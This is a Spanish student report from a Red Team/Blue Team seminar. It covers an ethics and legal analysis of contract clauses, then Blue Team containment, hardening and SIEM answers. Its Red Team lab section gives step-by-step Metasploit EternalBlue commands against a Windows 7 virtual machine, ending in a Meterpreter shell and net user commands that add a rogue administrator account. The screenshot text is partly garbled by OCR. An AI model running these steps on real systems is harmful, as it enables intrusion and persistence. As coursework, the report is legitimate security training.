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Resumen

El informe técnico documenta las actividades, estrategias y aprendizajes obtenidos
durante un seminario de profundizacién en ciberseguridad, centrado en los equipos Red Team y
Blue Team. A través de laboratorios controlados, se simularon ataques reales y se aplicaron
técnicas de defensa, permitiendo comprender los roles ofensivos y defensivos en la proteccion de
activos informaticos.

Se analizan aspectos éticos y legales, destacando clausulas contractuales que vulneran la
Ley 1273 de 2009 y principios del COPNIA. Se ejecutaron pruebas de intrusion utilizando
herramientas como Nmap y Metasploit, explotando vulnerabilidades en sistemas Windows.
Ademas, se proponen medidas de hardening, segmentacion de red, uso de SIEM y politicas de
seguridad para prevenir ataques.

El informe también diferencia entre Blue Team y equipos de respuesta a incidentes, y
destaca la importancia de herramientas como pfSense, Wazuh y Cisco ISE para la contencion de
amenazas. Finalmente, se promueve la colaboracion entre equipos ofensivos y defensivos bajo

un enfoque Purple Team, fomentando una cultura de ciberseguridad continua.

Palabras Clave: Red Team. Blue Team. Simulacion. Etica Profesional. Kali Linux.



Abstract

The technical report documents the activities, strategies and lessons learned during an in-
depth cybersecurity seminar focused on the Red Team and Blue Team. Through controlled
laboratories, real attacks were simulated and defense techniques were applied, allowing to
understand the offensive and defensive roles in the protection of IT assets.

Ethical and legal aspects were analyzed, highlighting contractual clauses that violate Law
1273 of 2009 and COPNIA principles. Intrusion tests were executed using tools such as Nmap
and Metasploit, exploiting vulnerabilities in Windows systems. In addition, hardening measures,
network segmentation, use of SIEM and security policies to prevent attacks are proposed.

The report also differentiates between Blue Team and incident response teams, and
highlights the importance of tools such as pfSense, Wazuh and Cisco ISE for threat containment.
Finally, it promotes collaboration between offensive and defensive teams under a Purple Team

approach, fostering a continuous cybersecurity culture.

Keywords: Red Team. Blue Team. Simulation. Professional Ethics. Kali Linux.



Glosario
Activos: Bienes tangibles o intangibles que poseen valor para la organizacién, como informacion,
sistemas, infraestructura tecnologica o recursos humanos.
Amenazas: Causas potenciales de incidentes no deseados que pueden dafiar activos de la
organizacion. (ISO/IEC 27000)
Analisis Forense Digital: Proceso de recoleccion, preservacion, analisis y presentacion de
evidencia digital con el fin de investigar incidentes de seguridad.
Botnet: Red de dispositivos comprometidos controlados remotamente mediante malware,
utilizada para ejecutar ataques coordinados como DDoS o propagacion de otros codigos
maliciosos.
Blue Team: Equipo encargado de la defensa activa de los sistemas de informacion. Monitorea,
detecta y responde a amenazas, asegurando la integridad, disponibilidad y confidencialidad de
los activos.
Herramientas: Conjunto de recursos fisicos o 16gicos utilizados para proteger los activos de
informacion, como firewalls, antivirus, IDS/IPS, entre otros.
Pentesting: Simulacion controlada de ataques para identificar vulnerabilidades en sistemas, redes
o aplicaciones.
Ransomware: Tipo de malware que cifra la informacion del sistema infectado y exige un rescate,
generalmente en criptomonedas, para su recuperacion.
Red Team: Equipo que simula ataques reales utilizando técnicas, tacticas y procedimientos
similares a los de actores maliciosos, con el fin de evaluar la efectividad de las defensas de la

organizacion.



Riesgo: Probabilidad de que una amenaza explote una vulnerabilidad y cause un impacto
negativo en un activo. (ISO/IEC 27000)

Seguridad de la Informacion: Conjunto de practicas destinadas a preservar la confidencialidad,
integridad y disponibilidad de la informacion. (ISO/IEC 27000)

Vulnerabilidad: Debilidad en un sistema, proceso o control que puede ser explotada por una

amenaza para comprometer la seguridad de los activos.
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Introduccion
El presente informe tiene como objetivo documentar las actividades desarrolladas en el
seminario de profundizacion sobre equipos estratégicos en ciberseguridad. A lo largo del curso,
se llevaron a cabo laboratorios controlados que permitieron simular escenarios reales en los que
intervienen los equipos Red Team y Blue Team. Estas practicas facilitaron la comprension de los
procesos, capacidades y alcances de cada equipo dentro de una organizacion, asi como su

contribucion al fortalecimiento de la seguridad informatica.



Objetivos
Objetivo General
Elaborar un informe técnico que documente las actividades, estrategias y aprendizajes

obtenidos durante el seminario de profundizacion sobre los equipos Red Team y Blue Team.
Objetivos Especificos

Formular recomendaciones practicas orientadas al fortalecimiento de la postura de
ciberseguridad en las organizaciones, basadas en las experiencias del seminario.

Documentar con evidencia el desarrollo de las actividades realizadas, como soporte del
proceso de aprendizaje y validacion de resultados.

Evaluar el impacto de las practicas realizadas en los laboratorios controlados sobre la

comprension de los roles ofensivos y defensivos en ciberseguridad.
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Desarrollo de la actividad
2.1 Actuacion Eticay Legal
2.1.1 ;Una vez leido el anexo 2 — escenario 2 y el anexo 3 - Acuerdo usted logra evidenciar
algun proceso ilegal y no ético que se esté estipulando en dicho acuerdo?

En el anexo 2, se evidencian varias fragmentos ilegales e irregulares, como son:

La alta gerencia debe revisar los contratos que estan proximos a firmarse y en los cuales es
consciente que lo realizo un abogado que fue despedido por procesos ilicitos. Esto demuestra que
el contrato puede contener clausulas inapropiadas o ilegales.

En la falta de esta revision, se puede encontrar inconsistencias en los acuerdos de
confidencialidad, por lo que se considera un riesgo de seguridad de la informacion y derechos de
empleados.

En el Anexo 3 se evidencian varias fragmentos ilegales e irregulares, como son:

"No denunciar ante las autoridades actividades sospechosas de espionaje o cualquier otro
proceso en el cual intervenga la apropiacion de informacion de terceros." Esto esta indicando al
empelado a abstenerse a denunciar actividades sospechosas de espionaje o ilicitas que pueda
observar, por lo cual se considera ilegal. La aceptacion de esta clausula puede comprometer la
integridad de los empleados al obligarlos a ocultar actividades ilegales, exponiéndolos a
sanciones legales y éticas.

"Abstenerse de denunciar y publicar la informacion confidencial e ilegal que conozca,
reciba o intercambie con ocasion de las reuniones sostenidas." El acuerdo obliga a la parte
receptora a no divulgar informacion confidencial e ilegal. Esto es éticamente cuestionable y

puede ser ilegal, ya que protege actividades ilicitas bajo el manto de la confidencialidad.
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Compromete la integridad de los empleados al obligarlos a ocultar informacion ilegal,
exponiéndolos a sanciones legales y éticas.

"Responder ante las autoridades competentes como responsable en caso de que la
informacion se encuentre en su poder dentro de un proceso de allanamiento." La empresa
CyberFort es la responsable ante las autoridades de la informacion que se encuentre en su poder
y no el empleado. Por lo cual esto se evidencia como una forma en evadir la responsabilidad
legal.

"En caso que la informacidn ilegal o confidencial sea encontrada en manos del receptor
este debera acudir a un abogado privado y dejar exenta de cualquier responsabilidad legal y
penal a CyberFort Technologies." Por la evidencia del parrafo anterior, la empresa debe ser la
responsable de la informacion que se encuentre en la compaiia. Por lo cual no es ético y se
puede considerar ilegal que el empelado sea el responsable de la informacion y liberando de
cualquier responsabilidad a la empresa CyberFort Technologies.

La aceptacion de clausulas ilegales puede comprometer la integridad tanto de los
empleados como de la compatfiia de varias maneras. La inclusion de clausulas abusivas o que
puedan afectar las leyes actuales, pueden danar la reputacion de la compaiiia, esto afectando la
atraccion de nuevo personal y afectar la relacion con los clientes. Esto adicional puede ocurrir en
multas y sanciones por el incumplimiento de normativas legales, afectando de forma critica la
continuidad de la empresa por gastos no contemplados que pueden afectar su correcto
funcionamiento. Por ultimo los empleados pueden demandar a la empresa por este tipo de
clausulas.

Con el fin de abordar lo anteriormente mencionado, se debe implementar varios aspectos

como lo son: La revision de los contratos por un area especializada, la cual pueda identificar y
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eliminar clausulas que no estan de acuerdo con el codigo ética y legal. Se debe establecer
politicas claras sobre la denuncia de actividades ilegales y la proteccion a denunciantes. En
algunas organizaciones se opta por contratar a externos para evaluar y mejorar las practicas de

contratacion y confidencialidad.

2.1.2 Si la respuesta es afirmativa y usted encontro algun proceso ilegal en el anexo 3 Acuerdo:
acuerdo, debera mencionar que articulos de la ley 1273 se podrian vulnerar en dicho acuerdo y

especificar porqué vulnera articulos de la ley 1273.

Articulo 269A: Acceso abusivo a un sistema informatico: Esto implica el acceso no
autorizado a sistemas informaticos. Esto hace referencia a que el acuerdo menciona la
prohibicion de denunciar activades sospechosas de espionaje o apropiacion de informacion de
terceros, por lo cual comprende que se podria permitir que se mantenga el acceso abusivo, sin
consecuencias legales.

Articulo 269C: Interceptacion de datos informaticos: La clausula que obliga a no
denunciar informacion ilegal podria incluir la interceptacion de datos informaéticos sin
autorizacion judicial, lo cual es una violacion directa de este articulo y agrava la situacion.
Articulo 269F: Violacion de datos personales: La prohibicion de divulgar informacion
confidencial e ilegal puede incluir la manipulacidon o uso indebido de datos personales, lo cual
vulnera este articulo. La proteccion de los datos personales es fundamental en todos los aspectos.
Articulo 269D: Dafo Informatico: La responsabilidad impuesta a la parte receptora en caso de
allanamiento podria implicar la destruccion o alteracion de datos informaticos para evitar la

deteccion de actividades ilegales, lo cual vulnera este articulo. La clausula que exime de
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responsabilidad a CyberFort Technologies podria incentivar el dafio informéatico para proteger la
empresa.

Articulo 269E: Uso de software malicioso: La prohibicion de denunciar actividades
ilegales podria incluir el uso de software malicioso, por lo cual permite que se perpette el uso de

software danino.

2.1.3 ;Existiendo procesos poco confiables en el anexo 3 — Acuerdo, usted como experto en
ciberseguridad aplicaria a este trabajo en CyberFort Technologies, donde la organizacion

dispone de un sueldo de $15.000.000 de pesos colombianos mensuales y contrato vitalicio?

No. No aplicaria este trabajo por varios aspectos legales y basado en el Codigo de ética
para ingenieros de COPNIA.

De acuerdo con el codigo de ética del COPNIA, debemos actuar con integridad y
honestidad en todas nuestras actividades profesionales, por lo cual aceptar este trabajo en el cual
hay clausulas que prohiben denunciar actividades ilegales va en contra a la integridad y
honestidad anteriormente mencionada. Al prohibir denunciar las actividades ilegales estamos
incumpliendo el articulo 32, el cual nos exige el cumplimiento de todas las leyes y regulaciones
aplicables, por lo que se consideraria una violacion directa a este principio. Por otro lado, en el
articulo 36 menciona que debemos ser responsables de nuestras acciones y decisiones, por lo
cual aceptar este trabajo, podria implicar responsabilidad legal y ética en caso de que se descubra
actividades ilicitas. Esto conlleva a no aceptar el trabajo por lo cual se indaga que la empresa
puede fomentar practicas ilegales y no éticas lo cual afectaria la reputacion y dignidad de mi

profesion.
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2.1.4 Deberd analizar el caso problema “Ciberespionaje y Etica en CyberFort Technologies”
(Anexo 7 - Escenario 2), redactar su punto de vista teniendo en cuenta las implicaciones legales
y éticas que alli se pudieron generar.

El incidente en CyberFort Technologies muestra practicas ilegales y no éticas, las cuales
comprometieron la reputacion de la empresa. Los empleados usaron su acceso para recopilar
informacion confidencial sin permiso y luego vendieron esa informacion en la darknet, esto es
ilegal y muy poco ético. Por mejorar procesos y buscar nuevas amenazas, no se debio a utilizar el
acceso autorizado para obtener y sacar informacion a la cual no se tenia acceso. Legalmente,
estan violando varias leyes, como las de proteccion de datos y ciber espionaje, por lo cual se
rompe la confianza con el cliente actuando de forma deshonesta. En las leyes que se puede estar
incurriendo y que estan relacionadas con el ciber espionaje, encontramos la ley PATRIOT, la
cual fue promulgada en 2001, Esta ley, promulgada en 2001, amplia las capacidades de
vigilancia y recopilacion de datos por parte de las agencias de seguridad nacional para prevenir
actos de terrorismo. Incluye disposiciones que permiten la interceptacion de comunicaciones y el
acceso a registros financieros y de Internet. Adicional encontramos el reglamento general de
proteccion de datos RGPD, este establece normas estrictas sobre la recopilacion,
almacenamiento y uso de datos personales, por otra parte, obliga a las empresas a obtener el
consentimiento explicito de los individuos antes de procesar sus datos y a implementar medidas
de seguridad adecuadas.

Eticamente, estan rompiendo la confianza del cliente y actuando de manera deshonesta. Para
una empresa de ciber seguridad el codigo de ética debe guiar las practicas de acuerdo a
estandares y normativas internacionales, en las cuales encontramos varios casos como lo son:

ISO27001, la cual es una norma internacional que proporciona un marco para la gestion de
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seguridad de le informacion, incluyendo la implementacion de controles de seguridad y la
evaluacion de riesgos. Otra normativa que se puede contemplar es la NIS2 Directiva sobre
seguridad de las redes y sistemas de informacion, la cual establece requisitos para la
ciberseguridad en sectores claves. Es aca la importancia de recalcar desde la alta gerencia de la
empresa, primero validar el contrato con sus empleados y verificar los anexos que se encuentran
en los mismos. Es importante asegurarse de que los empleados que tienen roles criticos y tareas
sensibles sean profesionales, éticos y estén comprometidos con los valores de la empresa. Por
ultimo, es importante la implementacion del codigo de ética, el cual debe contener los siguientes
aspectos: Capacitacion continua, auditorias internas, politicas de manejo de informacion
confidencial y trasparencia.

2.2 Ejecucion pruebas de intrusion
2.2.1 Describa de manera especifica las herramientas software que utilizo para llevar a cabo el
anexo 4 — escenario 3 enfocado a Redteam. Debera adjuntar evidencia de los comandos
utilizados y resultados que arrojo cada herramienta utilizada, estas herramientas deben estar

clasificadas segun los pasos de un pentesting.

VirtualBox: Es una herramienta de virtualizacién de codigo abierto desarrollada por
Oracle, que permite crear y ejecutar maquinas virtuales en distintos sistemas operativos
(Windows, Linux, macOS). Con VirtualBox, los usuarios pueden simular otros sistemas
operativos dentro de su equipo fisico, facilitando pruebas, laboratorios y entornos seguros para
practicas de ciberseguridad o desarrollo sin afectar el sistema principal.

Una vez realizada la instalacion de VirtualBox 7.1.6, se realiza el cargue de la maquinas con las
que procederemos a trabajar en este laboratorio las cuales son: Kali Linux y la version de la

maquina involucrada con el nombre Win7-SE2020-X64.



16

Win7-SE2020-X64: Imagen con sistema operativo vulnerable.

Kali Linux: Es una distribucion de Linux basada en Debian, disefiada especialmente para
pruebas de penetracion, auditorias de seguridad y andlisis forense digital. Desarrollada y
mantenida por Offensive Security, Kali incluye una amplia gama de herramientas preinstaladas
para tareas como escaneo de redes, explotacion de vulnerabilidades, ingenieria inversa y pruebas
de contrasenas, convirtiéndola en una de las plataformas preferidas por profesionales en
ciberseguridad.

NMAP: Es una herramienta de codigo abierto utilizada para el escaneo y mapeo de redes.
Permite descubrir hosts activos, servicios disponibles, puertos abiertos y caracteristicas del
sistema operativo en dispositivos conectados a una red. Dentro de la maquina con Kali Linux,
abrimos una terminal y ejecutamos el comando nmap —version este comando nos permitira
evidenciar la version de Nmap que tenemos instalada.

Metasploit Framework: Es un framework de cddigo abierto utilizado para desarrollar,
probar y ejecutar exploits contra sistemas vulnerables. Es una de las herramientas mas poderosas
en ciberseguridad ofensiva, ya que permite automatizar ataques, obtener acceso remoto a
sistemas, escalar privilegios y generar pruebas de concepto (PoC) en entornos controlados.

2.2.2 A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3 que le
fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la

maquina Windows.

En el anexo 4, se indica que se encuentra una aplicacion vulnerable en Windows la cual
tiene asociado un exploit el cual permite un acceso a Shell remoto, escalacion de privilegios y
una creacion de usuarios tipo administrador. Esto junto con un Nmap desde el Kali Linux nos

abre la puerta a que el puerto 445 se puede acceso con el Shell remoto Meterpreter.
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Adicional a primera instancia sabemos que la maquina no cuenta con actualizaciones y un
sistema operativo el cual ya que no tiene soporte por fabricante. Lo anterior abre a que sea
mucho mas vulnerable la maquina.

Por ultimo y no menos importante, se evidencio que el firewall se encuentra desactivado,
lo que nos permite de una forma mucho mas fécil identificar puertos y forma de conexion a la
maquina de una forma mas sencilla.

2.2.3  ;Qué herramienta utilizo para poder identificar los fallos de seguridad de la “maquina

Windows”? ;Qué puerto abre la aplicacion especifica en el anexo?

Como se evidencio en el primer paso, las herramientas utilizadas fueron:
NMAP: El cual se utiliz6 para realizar un escaneo de puertos y servicios en la maquina
de Windows. Esto evidencio el puerto utilizado 445 se encontraba potencialmente vulnerable.
Metasploit Framework: La cual fue utilizada para explorar y explotar vulnerabilidades
en servicios SMB. Se utilizo el exploit exploit/windows/smb/ms17 010 eternalblue.
Para la creacion del usuario con permisos de administrador se utilizo la prueba de concepto PoC.
2.2.4  Explique con sus palabras y de manera especifica como afecta el ataque a la maquina

(Windows), haga uso de graficos para explicar el ataque.

En el ataque realizado, evidenciamos que el equipo de la organizacion compromete varios
aspectos importantes ya que el atacante una vez detectado el puerto y con las herramientas
anteriormente descritas como fueron Nmap y Metasploit, puede acceder a archivos, servicios e
incluso privilegios con credenciales, lo que permite tener un control total de la maquina y otras
en la misma red. Con la creacion del usuario administrador, en un entorno corporativo con
dominio, se puede acceder facilmente permitiendo control de multiple equipos de la

organizacion. Ademads, una vez establecida la persistencia en la maquina comprometida, es
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posible lanzar ataques adicionales desde este punto hacia otros sistemas o redes conectadas,
ampliando considerablemente el alcance de la intrusion
Figura 1

Ciclo de vida de un ataque

Lateral
Movement

Data

Red Team Operations Analysis
Attack Lifecycle

Internal
Recon

Establish Escalate Exfiltrate and
2 Persistence Privileges Complete Mission

Fuente. Imagen tomada de: Red Team Ops. (s.f.). Red Team Operations Attack Lifecycle
LinkedIn. Recuperado el 4 de mayo de 2025, de
https://www.linkedin.com/in/**[usuario]/posts/[id-de-la-publicacion] **

2.2.5 Documente cada uno de los pasos que ejecuto y sus respectivas evidencias para explotar

la vulnerabilidad en la maquina Windows 7.

Una vez tengamos las maquinas configuradas para que tengan comunicacion entre
Windows y Kali Linux. Paso configuracion explicado en el punto 5 del presente trabajo,
procederemos a ejecutar el comando nmap 192.168.1.3. Este comando nos muestra a
continuacion los puertos abiertos:

Figura 2

Verificar puertos NMAP.
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SN e O] 2 3 4]~

kali@kali: ~

File Actions Edit View Help

Nmap scan report for 192.168.1.3

Host is up (0.00075s latency).

Not shown: 987 closed tcp ports (reset)
STATE SERVICE

PORT
135/tcp
139/tcp
445/tcp
554/tcp
2869/tcp
5357/tcp
10243/tcp
49152/tcp
49153/tcp
49154/tcp
49155/tcp
49156/tcp
49157/tcp

MAC Address:

Nmap done:

open
open
open
open
open
open
open
open
open
open
open
open
open

msrpc
netbios-ssn
microsoft-ds
rtsp

icslap
wsdapi
unknown
unknown
unknown
unknown
unknown
unknown
unknown

08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)

1 IP address (1 host up) scanned in 14.66 seconds

Fuente. Elaboracion propia

Evidenciamos en el escaneo que el puerto 445/tcp se encuentra abierto. Este puerto es

asignado a NetBIOS, Network Basic Input / Output System y hace que la red sea vulnerable a los

ataques de los piratas informatico.

Desde la consola de Kali, ejecutamos el comando msfconsole el cual nos ejecuta

Metasploit:

Figura 3.

Ejecucion comando msfconsole

B omP o1 2 3 4

kali@kali: ~

File Actions Edit View Help

Fuente. Elaboracion propia



Figura 4.

Inicio metasploit

View Help

https://metasploit.com

2437 exploits - 1255 auxiliary - 429 post
1468 payloads - 47 encoders - 11 nops
9 evasion

Fuente. Elaboracion propia

Con el comando search windows podemos encontrar la ruta de los exploit que se
encuentran en la maquina:
Figura 5

Ejecucion comando search windows

UK
lali@kali: ~
File Actions Edit View Help
5109  \_ : Automatic

5110 a WARAGWS 2000 English ALL

5111 \ et: WARAGWS xP Pro SPO/SP1 English
5112 _ target: WARAOWS NT SP5/SP6a English
5113 \_ target: WERAGWS

5114
normal freeFTPd PASS Command Buffer O

exploit/WERAOWS/filefo: 'galan_fileformat_bof
2 12-07 gAlan 0.2.1 Buffer Overflow
5116 exploit/WENAOWS/fileformat/ f
normal i-FTP Schedule Buffer Overflow
5117 exploit/WERAGWS/local/ip:
iPass Mobile Client ice Privile
ge Escalation
5118 exploit/WiNAGWS/browser/lpviewer.
2008-10-06 normal iseemedia / Roxio / MGI Software LP
Viewer Activ ntrol Buffer Overflow
5119 exploit/WiAdows/browser/mirc &
003-10-13 normal mIRC IRC URL Buffer Overflow
5120  \_ target: WERGOWS 2000 Pro English All

Bl & i@ 171 R G (B [#) CTRL DERECHA

Fuente. Elaboracion propia



En una busqueda avanzada buscamos en exploit ms17 010 eternalblue con el comando
search ms17 010:

Figura 6.

Busqueda exploit ms17 010 _eternalblue

File Actions Edit View Help
[ 2437 exploits - 1255 auxiliary - 429 post
- ——=[ 1468 payloads - 47 encoders - 11 nops
—=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms17_010

Matching Modules

#  Name Disclosure Date Rank
Check Description

‘] exploit/windows/smb/MSa72018 eternalblue 2017-03-14 aver
age Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . .

2 \_ target: Windows 7

3 \_ target: Windows Embedded Standard 7

Fuente. Elaboracion propia
Seleccionamos el exploit con el comando use
exploit/windows/smb/ms17 010 eternalblue

Figura 7

Seleccion exploit exploit/Windows/smb/ms17 010 eternalblue

kali@kali: ~
File Actions Edit View Help

19 auxiliary/admin/smb/mS17202@_command 2017-03-14
al No MS 010 EternalRomance/EternalSynergy/EternalChampion SMB Remo
te Windows Command Execution

20 \_ AKA: ETERNALSYNERGY

21. \E AKA: ETERNALROMANCE

22' \2 AKA: ETERNALCHAMPION

ZBA AL AKA: ETERNALBLUE

ZA. aux11iary/scanner/smb/smb_msl?_ola

MS17-010 SMB RCE Detection
25 \_ AKA: DOUBLEPULSAR

26 \_ AKA: ETERNALBLUE

Interact with a module by name or index. For example

msf6 > use exploit/windows/smb/ms17_010_eternalbluel]

Fuente. Elaboracion propia
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Con el comando show options podemos visualizar las opciones:

Figura 8

Ejecucion comando show

SN o] 2 3 4|~

kali@kali: ~

File Actions Edit View Help

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh
, thread, process, none)

LHOST 127.0.0.1 yes The listen address (an interface
may be specified)

LPORT 4444 yes The listen port

Exploit target:
Id Name

0 Automatic Target

Fuente. Elaboracion propia

Una vez entro del sploit procedemos a cambiar dos parametros RHOST y LHOST. Para
modificar el parametro RHOST utilizamos el comando set LHOST en este punto colocamos la
direccion IP de la maquina a atacar, en este caso 192.168.1.3

Figura 9

Modificacion RHOSTS

View the full module info with the fo, f command.

msf6 exploit( ) > set RHOSTS 192.168.1.3
RHOSTS = 192.168.1.3
msf6 exploit( I |

Fuente. Elaboracion propia

Con el comando set LHOST colocamos la direccion de la maquina local, en este caso la

1921.168.1.4:



23

Figura 10

Modificicacion LHOST

View the full module info with the command.

msf6 exploit( ) > set RHOSTS 192.168.1.3

RHOSTS = 192.168.1.3
msf6 exploit( ) > se LHOST 192.168.1.4
Unknown command: se. Did you mean ? Run the command for more details.
msf6 exploit( ) > set LHOST 192.168.1.4
LHOST = 192.168.1.4

Fuente. Elaboracion propia

Luego que tenemos todo configurado escribimos el comando exploit el cual explota la
vulnerabilidad, esto nos genera una Shell Reversa y una sesion del meterpreter, ahora estamos en
el equipo de la victima. Ejecutamos el exploit con el comando exploit :

Figura 11

Ejecucion vulnerabilidad

File Actions Edit View Help

Started reverse TCP handl
1.3:445 - Using a

get is vulnerable.
for exploitation.
shed for exploitation.
valid for 0S indicated by SMB repl
37 20 50 72 6f 66
36 30 31 20 53 65

20 50 61 63 6b 20 31

valid for arch indicated by DCE/

room Allocations.

Fuente. Elaboracion propia

Una vez se confirme conexion con la maquina Windows. Se procede a crear el usuario
solicitado en el anexo mediante PoC. Para esto utilizamos el siguiente comando: execute -f
cmd.exe -i -H -c -a "/c net user LeonardoCortes 1234 /add" en el cual LeonardoCortes es el

nombre del usuario y el 1234 es la contraseiia de la cuenta.



Figura 12

Ejecucion comando creacion usuario

eterpreter > execute -f cmd.exe -i -H -c -a "/c net user LeonardoCortes 1234 /add"
Process 2676 created.

hannel 4 created.
Fe ha completado el comando correctamente.

Fuente. Elaboracion propia

El anterior comando, crea el usuario estandar. Para asignarle permisos de administrador
utilizamos: execute -f cmd.exe -i -H -c -a "/c net localgroup Administradores LeonardoCortes
/add"

Figura 13

Ejecucion comando asignacion roles administrador

eterpreter > execute -f cmd.exe -i -H -c -a "/c net localgroup Administradores LeonardoCortes /add"
Process 2556 created.

IChannel 5 created.
Se ha completado el comando correctamente.

Fuente. Elaboracion propia
En las evidencias que se muestran a continuacion, evidenciamos el proceso antes y
después de crear el usuario:

Figura 14

Evidencia usuarios default

Fuente. Elaboracion propia
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Figura 15

Evidenicia creacion usuario Leonardo Cortes

|
.
Fuente. Elaboracion propia
Figura 16
Ejecucion comando net user
ini CAWi 2\emd.exe (= e |

t Windows [Ue: 6n 6.1.76011
ht (c) 2089 Mi ft Corporation. Reservados todos los derechos.

tsuariodnet user rador
de usuario de \\PC202006

i nuitado
[Se ha completado el comando correctamente.

C:\Users\usuario>

Fuente. Elaboracion propia

Figura 17

Ejecucion comando net users con evidencia roles administrador

[ ACCOUNTS | COMPUTER ! CONFIG i CONTINUE | FILE
HELPMSG ! LOCALGROUP i PAUSE ! SESSION ! SHARE
STATISTICS | STOP ! TIME ! USE ! USER ! VIEW 1

ario de \\PC202006

Invitado

uariodnet user
ario de \\PC202006

Invitado LeonardoCorte

Se ha completado el comando correctamente.

suario.

Fuente. Elaboracion propia
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De esta manera podemos identificar los pasos que se ejecutaron para llevar a cabo el ataque
que del cual se fue victima por los delincuentes que se aprovecharon de una vulnerabilidad y
lograron obtener todo el control de esta maquina Windows 7 X64.

2.3 Contencion de ataques informaticos
2.3.1 ;Queé seria lo primero que indagaria y haria si llegara a encontrarse un ataque en

tiempo real? Especifique su respuesta con argumentos técnicos.

Lo primero es identificar el ataque, las maquinas que estdn comprometidas, las maquinas
que pueden verse afectadas y poder aislarlas de inmediato. Esto con el fin de evitar la
propagacion y mitigar el impacto en la organizacion.

De acuerdo con lo anterior, para le proceso de aislamiento se deben desconectar las
maquinas de cualquier tipo de red, tanto wifi o cableada. No se deben apagar los equipos, ya que
esto podria eliminar evidencia volatil crucial, como procesos en ejecucion o conexiones activas.
La maquina debe permanecer encendida, pero sin conexion a internet, permitiendo asi un analisis
posterior de la memoria y del trafico de red.

Una vez aislado el sistema, se puede proceder con la recoleccion de evidenica y analisis
en tiempo real. Para ello se puede utilizar la herramienta Wireshark o TCPView, que nos ayudan
a validar las conexiones de red, trafico sospechoso y conexiones a IPS no autorizadas. Para un
posterior analisis de registros de sistema se puede utilizar la herramienta Event Viewer, el cual
nos puede dar informacién de intentos de sesion fallidos, ejecucion de scripts, entre otros
servicios. En la maquina afectada y mediante la opcidon de services.msc, se pueden evidenciar

tareas programadas del ataque.
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Se debe garantizar el cambio de credenciales, tanto en las cuentas locales, como en las
cuentas de dominio. Esto garantizando proteccion en filtracion de credenciales. Con la
informacion recolectada se debe realizar los informes técnicos y fortalecer las politicas de
seguridad de la organizacion.

Una vez tengamos un informe técnico, y si se requiere la conexion de la maquina en un
ambiente controlado, se debe garantizar la instalacion de todas las actualizaciones a nivel de

Windows. Activacion de Firewall.

2.3.2 ;Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team, qué medidas de
hardenizacion propondria para que el ataque no se repita?

Fortalecer el sistema operativo, garantizando la instalacion de las ultimas actualizaciones
y parches. Desactivacion de servicios como telnet, RDP, entre otros. Activacion de firewall de
Windows para facilitar el trafico entrante y saliente, instalacion de antivirus y antimalware en las
maquinas para un analisis en tiempo real. Se debe validar la instalacién de un EDP de control de
puertos de los equipos.

Se debe garantizar que las maquinas no cuenten por permisos de administracion local,
esto de acuerdo con el principio de minimo de privilegios. Si la organizacion cuenta con un
controlador de dominio, se debe programar auditorias y generar procesos de administracion de
cuentas, en el cual se especifique vigencia de cada una de las cuentas, politicas de contraseiias, y
procesos de desactivacion de estas. Se debe implementar MFA a todas alas cuentas de la
organizacion.

A nivel de Red, se segmentaria la red, esto por niveles de confianza o areas. Se debe

implementar un firewall local y perimetral, en el cual se pueda bloquear puertos y protocolos no
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utilizados o innecesarios. Por ultimo se debe garantizar el monitoreo con soluciones IDS/IPS
para prevenir y detectar actividades maliciosas en la red. Establecer alertas automaticas ante
comportamientos anémalos, intentos de acceso no autorizados o cambios de configuraciones

criticas.

2.3.2  ;Describa con sus palabras las diferencias entre un equipo Blueteam y un equipo de

respuesta a incidentes informaticos?

El equipo Blueteam, es el grupo encargado de una defensa proactiva en la organizacion.
Su principal tarea es prevenir detectar y mitigar las amenazas antes de que perjudiquen y causen
dafio a los activos de la organizacion. Este equipo realiza las actividades de monitoreo de
registros a nivel de sistemas y redes. Implementa los controles y configuraciones a nivel de
Firewalls, IPS/IPS, entre otros. Debe garantizar que los equipos de las organizaciones se
encuentren con las ultimas actualizaciones de los fabricantes, esto aplica para los equipos de red
a nivel de infraestructura. Gestiona las politicas de seguridad y concienciacion del personal.
Simula ataques defensivos con el fin de validar procedimientos, politicas estén actualizados
frente a un ataque real.

Mientras que el equipo de respuesta a incidentes informaticos entra en accion cuando ya
ha ocurrido el incidente o ataque informatico. Por lo cual este equipo la tarea principal es
contener, investigar y en lo posible recuperar los sistemas afectados. Como tareas identifican y
clasificacion del ataque. Contencidn de este para evitar la propagacion en mas equipos de la

organizacion. Eliminar del malware o vector del ataque, por lo cual es el encargado de la
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recuperacion de los sistemas y restauracion de los servicios que se vieron afectados. Por ltimo,

este equipo elabora el informe post incidente y recomendaciones para la organizacion.

2.3.3  ;Sidentro de un equipo Blueteam le indican que debe trabajar con CIS “Center For

Internet Security”, usted lo utilizaria para qué fin?

Se debe utilizar para establecer, evaluar, reforzar la postura de seguridad de los sistemas y
redes de la organizacion. Se utilizarian estas guias con el fin de configurar sistemas de forma
segura, evaluar y mejorar el cumplimiento de estdndares, implementar controles de seguridad
efectivos y reducir riesgos y mejorar la resiliencia ante ataques.

Adicional, con estas guias se puede generar el proceso de auditar configuraciones actuales
de los sistemas e implementar controles técnicos, aplicar configuraciones seguras en los equipos
de la organizacion y estandarizar la seguridad en todos los dispositivos.

Estas implementaciones nos ayudan a reducir la probabilidad de incidentes y mejorar la

capacidad de deteccion y respuesta mediante registros y controles de acceso.

2.3.4 Explique y redacte las funciones y caracteristicas principales de lo que es un SIEM.

Un SIEM - Security Information and Event Management, es una herramienta la cual
permite recopilar, analizar, visualizar y correlacionar y visualizar eventos de ciberseguridad,
generados por diferentes dispositivos dentro de una infraestructura IT como lo son; Firewall,
servidores, etc.

Entre las funciones de un SIEM encontramos por parte del cumplimiento normativo la
ayuda para cumplir con las regulaciones ISO 27001 PCI-DSS entre otras, esto ayudando a

mantener los registros detallados y trazabilidad de eventos. Centraliza los logs de multiples
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dispositivos, lo que permite tener una vision unificada de la actividad en toda la red. Analiza
todos los eventos recopilados para la identificacion de patrones maliciosos lo que nombramos la
correlacion de eventos. Utiliza reglas y analisis de comportamiento para la deteccion de
incidentes de seguridad en tiempo real, la cual se puede integrar con inteligencia de amenazas, lo
